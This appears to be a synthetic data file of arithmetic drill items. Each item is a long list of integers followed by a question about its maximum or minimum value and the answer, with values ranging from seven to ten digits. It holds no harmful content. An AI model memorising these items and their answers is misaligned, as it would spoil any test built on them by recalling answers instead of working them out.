7440296, 5517867, -5253818, 4531208, 8348281, 6626689, 5654517, 800766, 3222680, -6160773, 9040717, 7665913, 9921591, 6713971, 5148152, -8560167, 8653337, -2688792, 2206874, 996565, -8774084, 6332959, 5617389, -7212853, -7283797, -9237400, 7314446, 1390429, -837968, 9618602, -3610481, -7717313, -7947400, 574206, -8965738, -2170835, -7495463, 5260998, 3848899, 2428566, 8098567, -335485, 867297, 5818623, 2456292, -2930512, -7653820, -1706366, 9030114, 9866668, -9443247, -1445830, -5718459, -9261612, 9867934, 8474556, -2975995, -909335, 2498264, 8219854, -3457428, -346096, -5335425, -3352642, -4564067, -9249276, 5751459, -8448982, 2204705
The maximum number? 
9921591
14907273, 75516309, -57639112, -59277164, 24482180, -65570425, 64051599, -20930716, -8527148, 31030918, 34639618, -59356554, 44559032, 84735933, -41614491, -42358752, -72016120, -91304375, 4050659, 40293898, -3008151, 80444184, -4850292, 44380132, -15085815, -74278597, 7740226, 58088521, 24819229, -57382371, -5597469, -87699073, 56457641, 68764170, -98898390, 7285566, -62277640, 73268977, -60192767, 84381489, -52906054, 31278846, -77407476, -17232201, -35448669, 3442261, -13184647, -77545979, -75929322, 77223414, 56821751, 24720720, 24998936, -45608626, 7921458, 69926053, -22256893, 49564819, 73347670, -97262863, -75443158, 31518716, -44245452, -6158998, 38328171, -15935571, 71462625, -40869417, 69967051, 49614419
The maximum number? 
84735933
13114827, -66714926, 95998195, -81199061, 28849779, -62860084, -38846065, -42729367, 45071413, -70608471, 20740923, -94283944, -82228137, -28235604, -50044666, 16132652, -93419677, 60367259, -35321371, 92140208, 86054652, 50467084, 57271876, -43103082, 80816831, 26372017, 18856091, 43817579, 48217502, -11342463, -31730313, -17705208, 32670556, -77667215, 78481771, -51450409, 10179829, 99341417, -22521209, 65880004, 99434446, 21067514, -34809176, -10608421, -79307539, -24005813, 4122981, 9750744, 97431231, 29362967, -23439867, 92465461, 39406176, -46675910, -41139420, -69873482, -2182722, -56958345, -92298538, 78732180, -8058651, 30361651, -71909270, -21357785, 87635871, 99545833, -75493436, -84822083, -2001056, -79383993, 31197753
The maximum number? 
99545833
38358789, -31833096, 86184053, 62886084, 21143413, -87328492, 89327763, -23702483, -20791799, 68079051, 76008228, -16574533, -41558101, 79875563, -87278069, 41747574, 33418136, -66863520, 80989721, -75563392, 73332972, -76355964, -17460831, 97969155, -88101774, 35512694, 18793560, 61372584, -43924621, -46025475, 3224872, 91002770, -90772710, -72126099, -97011749, 40355754, 80927666, -32378021, 52500489, -95246331, -53811965, 12105811, -93789564, 210344, -28682074, -64085110, -89368624, -84029987, 37233090, -31634585, 52474951, 91196507, 38654363, 56108560, -67847960, -11678579, -31743670, 3925058, -47187726, -55852406, -25917495, 45841772, -39484608, 7651801, -26815233, 55224978, -48255279, 7335329, -57517230, -46995526, -89334436, -74639500
The minimum number? 
-97011749
60121829, 91804307, 61493456, 4090860, -92354722, 88505230, -269466, 22132367, -88355145, -65086713, -38850879, 82781789, -80122767, -68131852, -23539138, 25814125, 94724128, 10500352, -62257702, 5573928, 2956929, -25669772, -80517078, 55519065, 4653704, 71422142, -49351223, 45217120, 46456725, -40217616, 92562937, 39164297, -67817687, 87935359, 34038176, -34925041, 62403383, -53617586, 18883643, -19395522, 10213587, -18462387, 17278276, -27650918, -1791503, -94072687, 50622935, 92062840, 81895671, 52298176, -98120977, -96991979, 40531350, -19612183, 87862370, 3627831, 85959254, 25308118, 135745, -30160441, -33568028, -11394276, -71999670, -15077492, -79315153, 43110081, -80112980, -52125713, -37963022, -28433518, 65102900, 34271038, 31782946
The minimum number? 
-98120977
67008665, 16500375, -61778199, 56219126, 47436852, 13356974, -18074899, -83508306, -64094228, 10948411, -71706338, -31236933, 12360260, 76753458, -36346068, 57683842, 72278103, 31202246, -86255285, 24705683, -6783406, -57009453, 98903449, -25494781, -70099706, 55912675, 73272285, 7643787, -7456000, 56165619, -86713513, 26808311, 27583398, 64091413, 30119388, -63066721, 66545652, 60195274, 37059936, -72530686, -90286508, 15283444, -23435430, 10314903, -81542238, 50972610, 97176985, -69061207, -81036491, -1813556, -32559519, 92928436, -52381154, 12312945, -46017986, 74427882, -57371698, 96594355, 35190948, 27037478, -52269709, -15007170, 14868193, 46806444, -71661491, 54614591, -28627815, 17381096, 24751211, 33326541, -78492478, 15978385, -47951089, 41341930
The maximum number? 
98903449
93104818, 85056407, -51865873, 13276905, 56485493, -62316364, -77890306, -34825453, -19916696, -77780665, 12553447, -23344822, -24668005, 93026966, 73013982, 30720118, -79999246, 66936468, -23199226, -55977414, 43679036, 98853360, -4021990, -19287823, -15181455, -78092616, -11771668, 73635974, 94466497, 30056238, -60437642, 36786246, -16058868, 36364822, 54412915, -8474598, -55913375, -73498969, 63580868, -41342117, 53959805, -93954876, -83209929, 92339325, 15970446, 41549520, -84758158, -24442893, -20222255, 63368527, -49163725, 78376960, 85200055, 91398905, -67494703, -75190156, -64164324, 14140372, -38636777, 99836544, 64084320, 6445420, -94332505, -78206879, 54150401, 75116676, 75831765, 73327176, -97852384, 65942920, 59395230, -11814631, -85601284, 21266370, 42597642
The minimum number? 
-97852384
69907034, 56495138, 3808600, -82773847, -17905233, 25468560, 52809639, -594649, -54673473, -88762414, -72141115, 84803153, 50725360, -44431853, -27246302, -6656931, 94064669, -48870954, -44766371, 36226285, 23310168, -39823242, 1377316, 53786442, -58616346, 22024117, 44415294, 37920414, -84867916, -6309349, -67726313, 7625820, -37083078, -23577298, 9030676, -56256052, 95466482, 55036946, -35879176, -6637282, 79596397, 6989719, 89798585, 97093651, 28442126, -94200993, -82951238, 46683711, -80121046, 87598626, 24641291, 88848986, -26506445, -78187871, -82068985, -55453080, -13069535, 95133230, -34987463, -69331702, -72076252, -28353140, -78333917, 60361992, 92546624, -81112788, -91910038, 71272884, 83042984, 58447385, -40970560, -654521, -54995954, -35243303, 67698659, 65105308
The maximum number? 
97093651
39826614, 62203617, -47251850, 6275931, -61465451, -93633465, 48670228, 1249111, -67813502, 52588122, 39321301, -57294597, 36152166, -19152689, 59506196, 724723, -40196665, 75561918, -86785085, -1262652, 32212093, 18305565, -12689938, 40584902, 68958704, 34868144, -85756092, 69537125, -44684871, 51340530, -75472059, -33123315, -67618269, 65176312, 7928133, -6247852, 70310140, -43281151, -88887286, 56471478, -9531431, -4182634, 96892828, -24934482, 22191652, -93811637, 3574863, 71983309, -8828684, 35934555, 43891977, 45047625, -36823497, -9352621, -57090674, -81612356, -68056453, -44105511, 45535395, 25817439, 47319174, -7694187, -43546030, -11512338, 71972001, -2935846, 59513231, 78739539, -46595603, -22836680, 7494612, 55666349, 71000640, 31701711, -73118193, 39320003, -10340120
The maximum number? 
96892828
-57399265, 81402492, 32624903, 22354481, 95843058, 72702180, 71528137, -80257483, 7945783, -40740635, -46522301, -63674340, -58071772, -75663120, 1292296, -86365571, -21779526, -76882731, -16092563, 76915137, -47360339, -65609397, 15360846, 91828134, -42947262, -62173576, 49208236, -48138258, 71890464, -83975682, -65072304, -17499770, -68964540, -83327487, 38797345, 18563882, 41327579, -6901874, 98597913, -44808523, 941065, -55818509, -79055687, 92616994, -23563752, 22977563, -46383111, 25639902, -6942854, -89051073, 48627533, -90932621, -25349605, 4675032, 8843435, 60856890, 68298467, 34127267, 50122634, 99965823, 79673162, 80206137, -67290708, -13903, -70190607, -93467762, -12351621, 96785593, -60073071, 57286470, -52814056, -92707302, 92914664, 91103109, -26124009, -25992193, -59671610, 49739196
The maximum number? 
99965823
63803550, -83694502, -71896394, 13128507, -23008151, -71331783, -92222113, -8784190, -67766340, 44215708, 80545862, -67456618, -60012312, -10866531, -60797746, 5187135, 72993788, -56115634, 3726926, -16907930, -39889584, 95854596, 88658440, -5751651, 81648165, 64787127, -1557091, 70331070, 8427578, -64627140, -76251750, -12714770, -8246316, -84802216, 99657580, 22690157, -78365094, -54408575, 41776532, 16477648, 77861425, 80352109, -65783154, 58351075, 4507450, -67052865, 66249639, -28663250, 37740416, -85208600, -77452750, 47070606, -24450079, -3433667, -48343122, -29615445, -53246206, -49008009, -29997823, -27131485, 87792688, -20136979, 38443871, 1758664, -27796200, -33798444, 34964812, 96498512, -53728166, -22118674, 48716047, -7543220, 93929951, -8003672, -79218078, 95158521, -59697862, 65925053, -75068334
The maximum number? 
99657580
534473329, -347042543, -792879797, -370862748, -823327460, 192015308, 916483668, -899400165, 509490502, -350186504, -54735941, 835671094, 994868554, -199905061, 938872876, 288789608, 573871314, -921251132, 401455564, -876312795, -417147911, 577025658, -733763130, -579882020, 892067244, 664060184, 16983047, 796411470, -691771676, -334765316, 674030826, -275636805, 384518824, 162285341, 230596617, 664805219, 160851302, -320770562, -870894981, 504457117, -451865021, -704092379, 442964399, 993171381, -35405990, 953693985, 246957979, -810076736, -221241869, 845380063, -69541997, 250140717, 490954934, 495057014, -423447545, -446775517, 447843910, -1071096, -623345415, 277470338, -721346036, 365913092, -633077626, -855406327, -238288185, -2683680, 442996080, -632386514, -489492577, -269573897, -608947786, 855110374, 876550520, -352732300, 821395738, 279055295, 765911060, 199074031, 56632637, 288116483
The minimum number? 
-921251132
277095933, -184894054, -725713360, -125156474, 195937877, 861793564, -809289653, -175780860, 119559067, 343997447, -631969712, -971849925, 84905636, 287056784, 921908320, 436964931, 294433347, -836355818, 724470653, 140597007, -146882226, 152079463, 162202970, 48217647, -242350587, 235897067, 356670058, 234412147, 631264924, 837798135, 589926415, 854535243, -287335126, -129004671, -217266794, -364057966, -782699444, -344501657, -208223847, 369484300, 604843496, 567629032, 252283666, 186341040, -199630367, -534922473, 393143432, -183825727, -677426902, -329215491, -770484055, 677036866, -476704517, -928600829, -853200642, -758849106, 594083914, -182412482, 52308622, 153798892, 310318478, 383999627, -579326788, -483849021, -679956327, 876491804, 685110156, -262084016, -255751462, 586368840, 648337976, 65638530, -624166160, -444988081, 490299873, 844428595, -548478885, -372318286, -841835580, 577011939, -157150694
The maximum number? 
921908320
148904266, -230902180, 962306848, 30523711, -254759962, 900041769, 527582368, 507959860, -980865888, -888490348, 821223294, -39548567, 169964292, -651768035, 544675184, -849005445, -963010603, -206866572, 400204089, -227583114, -411229610, -691461688, 868767398, -905575746, -674272297, 945023277, -615692871, -185200796, -878168179, -83576587, -428753826, 832686067, -814303162, 68835140, -624020479, 565872739, -983621978, 448850595, -684301054, -421234370, -499930405, -92624868, -122625979, -243513661, -717059793, 819812265, 17482644, -427800437, -159175494, 459841353, 577994464, -685327506, 348612140, -462228661, 109241652, 53136871, -628847274, 396315506, 713516456, 880159761, 730882987, 658147145, 842248190, 884138570, 702949495, 894629406, -85556716, 848395967, 354729563, -688104938, 497624195, -968045012, 326966888, 612597469, -908114332, -337837774, 720688251, -121530441, 82029179, -301474079, 392357549, 917642312
The minimum number? 
-983621978
-271772096, -773250636, -264334715, -624636396, -54875235, -475997158, 430468942, 634231075, 366911511, -615419476, 550826345, 603866592, -489815540, 462506944, 545161093, 251535293, -76425887, 788552562, -390563800, 730660356, -822318413, 449400572, -722285621, -781960668, -328014144, 943230257, -655150681, -5036337, 245771786, -818260380, 98441814, 271780099, 127460855, 287800409, 412525928, -142261616, 714347694, -793305797, -774340331, -754422517, -79976581, 336395920, -460695320, -299431643, 921376193, -617513432, -875803391, 621825992, 159006209, -321878758, -538048992, -391872710, -40117552, -63893910, -948767689, -515671875, 685746771, 119658626, -53478232, -385362198, 212663382, 213849041, 415418613, -809964330, 91468979, -249550244, 21447505, -482622385, -895081639, 117886686, -985391741, -542923286, -423315924, 100499818, -636674865, 825233143, -499843402, 561066474, -182381403, 426928503, 827809800, 547472896, -190945111
The maximum number? 
943230257
477283059, -60652298, -868138081, -794320686, -999215705, -452772971, -736072455, -175959419, 458886228, -796845586, -287162251, 518061606, 226744530, -539949210, 878352232, 228656558, 969195849, -265475254, 510433034, -302153753, 758886751, -186143564, 266692654, -572419923, 215521903, -219986760, 535440326, 52610763, -22544504, -879935147, 470129613, 151503931, -763028170, 375300514, 969039701, -22885224, -742087688, -531087200, 197081357, -622428922, -991953642, -468638320, 532150829, 540705108, -258143196, -164297358, 282925212, 504943711, -693540261, -428048590, -167581445, 148363782, -651510885, 107200089, 948437731, -650295372, 524923857, 478766594, 213788788, 363762777, -11807223, -342334781, -251240186, 241632588, -863771518, 800387126, -491423932, 646223814, -791458223, -314644528, -681502622, -346766431, 687420991, -447721262, 600299348, 887046094, -152719307, -200990771, -270634602, 228349384, -656781264, -117562256, -100293438, -929720148
The minimum number? 
-999215705
918142575, 11756679, 495322563, -936942212, -215405125, -434693798, 558835371, 183327763, 225726354, -637136890, 356772832, -824106654, -266708762, 335139193, 189931389, 450190086, 646591248, -310219109, -51322677, -155647655, 901766621, 814558726, -359686621, -640674420, 929359470, -338345453, 614145296, 157170430, 187632061, 914422889, -756365258, 284002235, -161364324, 898226334, -324942985, -516984283, -800972795, -880718865, 989545638, 896806155, -940699890, 204155139, -472337461, -845124968, -157486820, 934747771, -88588219, 98325569, -552002362, 398626735, 880338765, -3890269, 170055735, -610819272, -777910973, 518043657, 12482591, 504112382, 149691055, 236954749, 7878505, 655605025, 100380893, -62387528, -897058316, 742483804, -537722566, -643381210, -397530492, -579256763, 152012663, 796671431, 62919222, 524248530, -900249327, -172758743, -852793795, 978861831, -684682008, 486009444, -239187021, -413263611, 126077108, -673014988, 906456413
The minimum number? 
-940699890
178194794, 119953615, 780570415, 83204384, -776251766, -148897561, -915801895, 12379869, -161172010, -169900172, 352189662, -441407292, -952346446, -241622335, -66883635, 928308523, -768177327, 671805630, 139567294, 72519710, 501935265, -772808876, -83232898, 692914544, -243945064, 908182832, 642188895, 801979385, -334633478, -829419457, -409052324, 519512054, -677513985, 442591211, -622711263, -654206030, 586978227, -256012309, 971829158, 41248883, -319626647, 243355199, 391376325, 989722317, -775609681, 389750792, -623511142, 23619432, -78098854, 301931509, -335193533, 748686181, 234447231, -864281328, -750011968, 131206353, 227621236, 984381312, -119114824, -346415502, -158012255, -482785877, 330954901, 220403472, 219492685, 651996966, 35190740, 310580836, 11578347, 275497115, 610654953, 169049003, 470507592, 69571249, 954801003, -848488725, 713471994, -958192354, -454197, -368994067, 532377070, 329868343, -248550849, 830322558, 504346967, -110242913
The minimum number? 
-958192354
253087143, -264228815, 92500924, 905893970, -641831806, 517801876, 779221267, -920147984, -666840639, -605254670, -110493702, -244659762, -84990187, 548442361, -343498763, -947757197, 99662324, 234201004, 557556228, 664354732, 721446716, -542945143, -680114399, 431978836, 831068050, -299093808, -219252695, -943522955, 513343777, -157743107, 186664107, 631676609, 822930495, -658899720, 900086429, 85267507, 432070704, 784424776, -460233769, 602263129, 835719623, -212011826, 573734421, -764563156, 662910956, 394843438, 754739793, -887551770, -373900534, 188213632, 397876437, 336771509, -573801272, 670158562, -894252529, 640755156, 47254457, 387423866, 895028538, -662694082, 824537768, -518268029, -919910649, -485065096, 284540063, -554746640, 762003147, -297072098, 783427509, 466926674, -534794911, 88437694, -320192568, -222886868, 621371081, 380871978, -874973419, -682552963, 541924847, 301334053, -901752112, -689619286, -190647300, -772730428, -416572448, -811727072, 461509592
The maximum number? 
905893970
-251137003, -913238141, -7736940, 551997384, -382588209, 464342624, 742107029, -370390850, 846480419, 228165689, -286683356, 204162356, 177008451, 154114118, -52552149, 329802988, -293902154, -33140337, 357007550, -191199348, -321178388, 549660880, 630327923, -87888035, -521926232, 312202677, -979230052, -715270586, -857978967, 656242251, -890399219, 583215269, 998601257, 196235700, -649161262, 201513874, 927443614, -22166985, 995588141, 847940614, 79984163, 255866386, -127691375, 202300354, 257702850, -468709052, -312942008, 198749330, -910306293, -171283406, -63407355, -383017728, 35528512, 61833316, -119908081, 28058201, -554987808, -535105639, 825625629, 138210901, -252638140, -223678125, 671867837, 508436492, -600502333, -715990731, 871046100, 523606281, 766673516, 947536983, -551220132, 687268063, 920422218, 646659376, 118804084, 271532311, 91821744, -849825698, -903605755, -512581948, 303771394, -19070933, 186073547, 43570188, -948577295, 810857245, -835655200, -641341265
The minimum number? 
-979230052
-354638304, 222622081, -159866591, -448725491, 85125217, 838684160, 812370817, 429057177, 804435931, -289847506, 974283241, -380315325, 28460000, 132846415, 748820140, -623619657, 702909710, -340469519, -992342397, -730325370, 745960187, -243004489, -756180153, 363652438, 30659616, -297129229, 673162319, 842308431, -855478691, 237943940, 835997671, -566324426, -812837564, 33783387, 580589145, 994657567, 820022642, 316312997, 64647415, -341969677, 235753352, -502752736, -55754093, 533957140, -934766080, 24380435, -106962212, 599092099, 458650835, -10268754, -921544982, -134735875, -836116254, 659232567, 303235199, -832443047, -205456830, -239886069, -754324836, -891826211, -668933629, 218175165, 835056308, 6539443, -116948279, 489506971, 955775413, -611875053, -808908695, 277216857, 851254187, -72423199, 253001317, 526087718, 727391064, -76196769, -735436593, -685105072, -535231412, -16131114, -779341937, -934071126, 249781088, -58113690, -610273462, -965152983, -767621843, -910316166, 929492155
The maximum number? 
994657567
391329459, 2894830728, -3536107344, 3105088779, 3334409737, -3785039465, -3065446201, -3335555591, 3210940733, -2388370138, 1183611854, 2416613758, -2600997898, 746281351, 1930565673, -3942168459, 2491265303, -3631145583, -2546729212, -393242070, -3239586869, -4248389812, 3802429870, 1964676411, 489019062, 2554104430, 3182783925, 2215203985, 3186159440, -4039287655, -1514717596, -3928726329, -1835759356, -886266162, 3770088142, 2983659859, -2264605429, -1017488562, 2807343275, 3452489152, -210337478, 2537299662, 3374914168, -3016761379, 2300147143, 3525192096, 2301723506, -428660825, 3691824467, -3816966292, -1437155703, -3475648734, -1115581594, 1756810985, 1345322130, -3526036753, 2611596474, 257888501, -3548326762, 1194518942, -3019545966, -2866291135, -1192403207, 2758531910, 1205432776, -60347052, 1111338921, 1695960347, 3549280504, 133738593, -2612117032, -1860597777, 451660846, 819458498, 2814547693, -3322663330, 3116942935, 2400370615, -2388513475, 2108932442, 3748947977, -3171210073, -1442583061, -3688278944, 1004626305, -2163149293, -4086946132, -654776580, -3376553722, 754135421
The maximum number? 
3802429870
-144683826, -3068236857, -1704091598, -1904698802, -2458000797, 300323746, 2381751658, 1901988852, 2803893688, -4204086301, 1361001067, 3880364413, 1929438102, -2887185852, -2580117887, -1704394485, -2761268918, -554373663, -2378543412, 249944002, -2896938180, 408573293, -1515799812, 2962444838, 1524689247, -2161157912, 311183907, -2927791637, -4139903386, 2085648686, -1831342015, 2749368711, 2449764732, -3908933495, 2898398245, -3544735265, 3661357452, 3058592480, 3110828016, -1119443314, 1577968116, 4069998649, -1009093319, 3452085524, 231464065, -4142299033, 273497547, -3673704219, 1460354969, 3323968212, 2737870092, -806855273, 2016821556, -2489544886, -2273507796, -2588292005, 3709760943, -1865403832, 3151852897, -4074709669, -2145993954, 3730473143, -3466547836, 1373881794, 62804615, -2660606025, -672174643, 4273782075, -2451448008, 3200968756, 2496922712, -1711743989, 1609132442, 3792456209, -1733604456, -232879426, 39566132, -3850008457, -987404402, -1265907619, -569775201, 275528356, 1726594903, -1567563721, -1704922723, 732322734, -2636997925, -3719092106, 222049043, 2634985552, 2078280091
The maximum number? 
4273782075
-2250113652, 780452980, -1627741757, -2182070290, -3553167741, -287430948, 2611363646, -2761079616, 2940902238, 3807789642, 4089118783, -571901727, 3380199108, 3080816725, 2753526542, -1322112172, -2771984589, 2501193461, 1279987010, 1163532136, -2293034025, -1439298897, 2293450863, 1066949062, -548899176, 3997770473, 3524401560, 181104578, 1922186820, -3647525472, 4115876575, -205514352, -1185859053, 1713799449, -2886933387, 3662990907, 1738999265, 203928972, 3865402951, -2268206179, 2221460001, -3404367246, -2008472804, -2312390473, -3791240923, -1370558554, -311084265, 3168739905, 3655182641, -1532611636, 304260098, -2984374276, 1570694563, 1288068572, -3968293079, -2667636506, 2398142427, -1094332539, -3926419057, 608344752, 2358889445, 3132844888, -1369988055, 1540299497, -3050620488, 2478225682, 2331404941, -3994063885, -2025106546, 3155842, -1760520354, 1206622257, -1890450550, 3762252305, 1367694641, -1723639319, 2509955927, 843955121, 2312734131, 3234332346, 1380166959, -2399045877, -2666937445, 290624851, 2758721719, -656241174, 624313034, -3021803665, 564741162, 4096729076, 3746456828, 3625559009
The maximum number? 
4115876575
3961172707, -1845209662, -4186512005, 47152311, -711775747, -2404620652, 3520787937, -2191539926, -1838369958, 4264416403, 54223705, 867775373, 736976074, -683914061, 9072960, -2960975930, -2459570357, -316271625, -1609467620, -2784040356, 3455759248, 3664120904, -964613042, -2768735613, -536999981, -2134165591, 931585629, -1242457754, -1090182073, 772900033, 911027641, -1003392869, 3754860073, 63854070, 1789392974, -3698473398, 3614466428, 2314934328, -1342937748, 3163395977, 2869468028, -677745716, 1033457535, -155365457, 1851136757, -2989910195, 3722201252, 1591619163, -3015464434, 2269957623, 4124888938, 227764781, -1785251880, 773547227, -3775052105, -31869586, 921282005, 1636647967, 2897171757, 1535457895, -2303132766, 3308706336, -3508117928, -1265133442, -3030230033, -3593165450, -2132462498, -1449964850, -3301501782, 3924105460, 3103589588, 159717122, -2100987880, -3154173612, 3243490511, -3581391295, 2057775186, -3497256474, -86173982, -4058625189, 4273076901, -4041946918, -3176657893, 2574430700, 1492066226, -3415712383, 114997865, 1710550356, 3315627221, 3537107436, 3381826535, -3254404611, -2895458704
The minimum number? 
-4186512005
1379510736, 4136652855, 826034488, -3934462711, -2407080225, 3086950903, 187345189, 1960232662, -918705627, -118248884, -3288688851, -1990011039, -1018455489, 2671288305, 860652052, 2430625228, 1089818169, 1614690565, 696671342, -3265610555, 2739113907, -4289782069, -1300700224, -4104347186, 2257608896, 3045141685, 2790342925, 48740036, -2924531518, 3038890506, -1026146627, 1681107798, 1998640006, -758637023, -1796646719, -550996544, 424197469, 4204153546, -3232686559, 775154904, 1273295914, 1976317484, 607569879, -2144253168, 1661261108, -1123855094, 1043800326, -2934549423, -1791479215, -270545211, 1411541382, -1398599633, -2018305594, 3843937493, -2665336809, -1710334911, -36464410, 3457670975, -649703006, 817684615, -947001284, -1730625991, -2443858449, 246983663, -2830121123, 1778115761, 11585652, 3981227736, 967829588, 548616533, -2502243774, -2020059953, -87389025, -1324258485, -530441329, -217069617, 226074237, -2129617755, -2688263558, 1557384020, 3284792987, 2449234660, 2381725560, -2978693460, 107677915, -4087740879, 3790895683, -1833734202, -3770984188, -4084504928, 2953828187, -2787768164, -852623481, -3524165681
The minimum number? 
-4289782069
-2037446331, 2811966987, 772967880, -800691503, 352680812, -1569553890, 346677308, 2478395072, -718134217, -942401461, -2464770616, -2377082519, -790156405, 841632324, 3785037349, 1441975176, 3147974683, 2668459312, 2150487500, 2283453528, -168596386, 1096877046, -1656462865, 2801043268, 86761905, -4247419108, -889712139, -3916405443, -447922360, -710064511, 2622645223, 281142092, 50443884, -717979836, 667054104, -555613857, -2609319533, -3869442774, -2943710061, 791806785, 1667510747, -1871551374, -3690351867, -3436108747, 2606584062, -2648822, -3057800855, 4216817064, 935322992, -86984165, -164279479, 2591767564, 962828795, -3827497501, -3989465175, -3975534663, 31109222, -916517432, -415802502, 258698629, -532569908, -1458856261, 2077122911, -2464449768, -2400322805, -1535360829, 212965267, -4151802939, 2919093172, -4261716781, 3612851439, -3814823836, 1765669241, 3315797050, -3857291383, 171745663, -1130024903, 1774630061, 3313265842, 3051528101, 294186433, 3847686414, 3564770424, -4157053938, 3245631343, 885409855, 743609829, 3672406033, -1685663590, -1713172266, 3742116048, 2086788909, -2557659736, 3218835684, -3839089832
The minimum number? 
-4261716781
2686518331, -1930695176, -2288345995, -3774696114, 3954735185, 1064840492, 3513249094, 3466890565, 3098367855, -1108532036, -886471359, -1746505238, -1426411747, -320017524, 1678568814, -2648272929, 1048675279, 1968021114, -1563350522, 780791579, -2589195918, 4271037872, 4131752168, -1889476368, -2483079450, -1898379887, -1535374192, -3030546824, 3670325759, 427238062, -2755765448, 1921916597, -1582277959, -1734764255, 3466755711, 126637709, -1052736274, -3338338947, -1329153800, -3361635554, -493712753, -2676025183, -2035820793, -2621004787, 1656128632, -2148846997, 797208216, 2074052111, -3911806795, -170164610, 3081665857, 139847899, 2883289956, -3977658259, -3877920039, -1466339742, 1928973112, -2312218963, -1924571875, -3748141320, -3794088650, -471563105, 3474711952, -2093657621, -4220666, -3660401467, -1141400771, -689317232, -668394745, 2638700994, -1587432204, -2980311814, -440878925, -2895958926, 1894124344, 199516312, 1874387442, -1334674512, 2795533161, -1735531449, -2743723001, 2199929966, 4210591535, -2948053862, 214788245, 1132174515, -1466939095, 3015685760, 3557048655, 954622155, -1138686972, 1446681521, -2146089324, 358493530, 1776693779, 685433956
The maximum number? 
4271037872
-2428585204, -124481597, -1809627007, -318032101, -886359794, 1355517519, 1712639867, 1385421260, 4118254790, -751534762, -3093885786, 112183738, -564929961, 3798895669, -1375658643, -1567907830, 1287854102, -863738282, -941781001, -3646754205, -1744876452, 1089131874, 1265405506, -2043418545, 3240873113, -635272580, 4172742515, -3336179578, 1329591296, 1101270868, 3672564758, 3210796699, 1572982665, 1674311652, 3448220925, -4193970848, 239522069, -597723848, -2994495163, 97430962, -427148517, 1661499463, 3505459764, -1916091121, 1203361770, -2828515645, -1444903964, -1848101939, 2432028974, 2836764922, 2142939275, 497073495, -1024637619, 1664052115, 920614300, -277670017, 3550161380, 1834579706, 3008580909, -1747125208, -1106517499, -3724556160, 3059456546, -4140829305, 3261347003, 386342712, 3172745011, -4078616812, -1545686820, -3460518034, 969209615, 3783826333, 110059216, -1554694942, 3035147997, 2509143032, 828756531, -2412371979, -2169152399, -551905649, 3254930124, -1924489923, 2047669154, -4282760042, -3495424049, 2983194416, 2699443473, 115195787, 2345096353, -2174284431, 1490690665, -464921893, 2082956753, -476648109, -3363505423, 912753886, 2379019101
The maximum number? 
4172742515
2304815977, -3928085205, 2332331041, -1339689271, -3872809421, -426580620, 1938975673, -3830134794, 2713102907, 253378957, 1674964555, -217871536, 4014058019, 265516068, 655215465, 2105752291, -2741249352, 3697156166, -2661006605, 4121866652, -2661578298, -3772428571, -3657687862, -2493077926, 2361213369, 825170827, -1109896102, -47313598, 366673739, 4171990611, -2083722432, -1076085462, -1059725370, 2313153579, -3680102371, -1748912703, -770370567, 2913146447, 3756817204, -759615660, -3994330032, 2269101828, 2682284202, 2126184181, -1246913950, -2197007239, 3276142701, -2901016057, -2367525788, 2616994374, 2106686803, -1046241596, 744718983, -678588654, 2530698050, -1593101108, -3418591910, -251858524, 334931436, 287873605, 180255590, 609223432, -1366856074, 2810190448, 1278115417, -4074109374, -153676180, -971485303, -3246190713, 1494369611, 3390776154, 226630833, -1511202157, 1693042225, 1070032369, 2014607020, -879996719, 753165800, -338788257, -3197286687, 2462952149, 3545418618, -3138544075, -2962063952, -2951451472, 2543926828, -3473815597, -369957276, 4254235379, 1105089893, -89405692, -488901745, -2642812127, -1955477135, 2982125094, -1194121958, -3201425178, -2536357448
The minimum number? 
-4074109374
2488463813, -1993985827, 3771662680, 3494087111, 2651498878, 1779528269, 1640608499, -52050927, -897686131, 2656745374, 2841015388, 1337398810, 2081215784, 766472575, 3412451196, 1547409874, 3395956626, -3672673057, 251056892, 2189187395, -3673110755, 35009487, -1432795427, 4277476532, -3749311808, -1474077166, -4052364066, -4127011874, -3916290051, 1369268897, -1535807858, 1756413109, 4269968299, 508795328, 4161489931, 941579765, 2404981843, -1556229482, 883525874, 1594265674, -1325504727, -4232141752, 2467122698, 3822559020, -1935083567, 1297130032, -2534076688, 2626124280, -3593469396, -3071325738, 1551901537, 377409180, -735948924, -2088492716, -1115874230, -1311051001, -3805242711, -10009777, -1383836987, 981748892, 1518507375, 1861662577, 3514814798, 3562709068, -1757291204, -3933485545, 3848053604, -174029200, -3487154981, 3400661591, 1323520750, -808576657, -3668006951, 2548176916, 732613533, 617917918, 710978472, -1956930799, 458374619, 4100534551, 198157966, 2046282603, 2780710296, 1477584830, 514097644, -785519427, -349036003, 1678131650, -1260763306, -382360785, -979314641, -868547532, 2019183954, -1230995949, 2749356063, 935967763, 1410667047, -1569124432, -3817531329
The maximum number? 
4277476532
3976522254, -426499872, 576101226, 3826235258, 4206684137, -2760568947, 1767643205, 2495104490, 3234863368, 2729597718, 2966389347, 1420288699, -627651462, -3245690929, 2129713961, -2682348793, 2056800618, 3730812627, 4207691282, -825077884, 399163623, -181306307, 3644469432, 3224704611, -2635428446, -1149670645, -3189013346, -4135036251, -3629688979, 3783409215, -1230741253, 2213965168, 834155689, -3401326853, -1806248323, -4122463310, -1872771315, 1048904688, -647690481, 3304150789, 3424418403, -560038739, -3145242083, 607751146, -1792499377, -3233416966, -1135020790, -1555341700, -2901643980, -1192965833, 2145358875, 2931851888, 3074912592, 2830341423, -2680162696, 922920892, -4258525697, -4052801058, 803286681, 2812321120, 2433106880, -3128141303, -1077234307, -1717405532, -4017781641, -3502335401, 381203216, 2705714152, 721895285, 3109546391, -1746889869, 4067093, 398631760, 1828603272, -2350572532, -3419096954, -1255501818, 3066122818, -2819229689, -3706880216, -3974433662, -1359330751, -1930502804, 3839922605, 2876418829, -1437817851, -1021417457, 2013386669, -1123362447, 1438859124, -3539898852, 1358155764, -3881854951, -3300983665, 451732397, 1075670912, -331395115, 4280171376, 705524440, -1395812695
The maximum number? 
4280171376
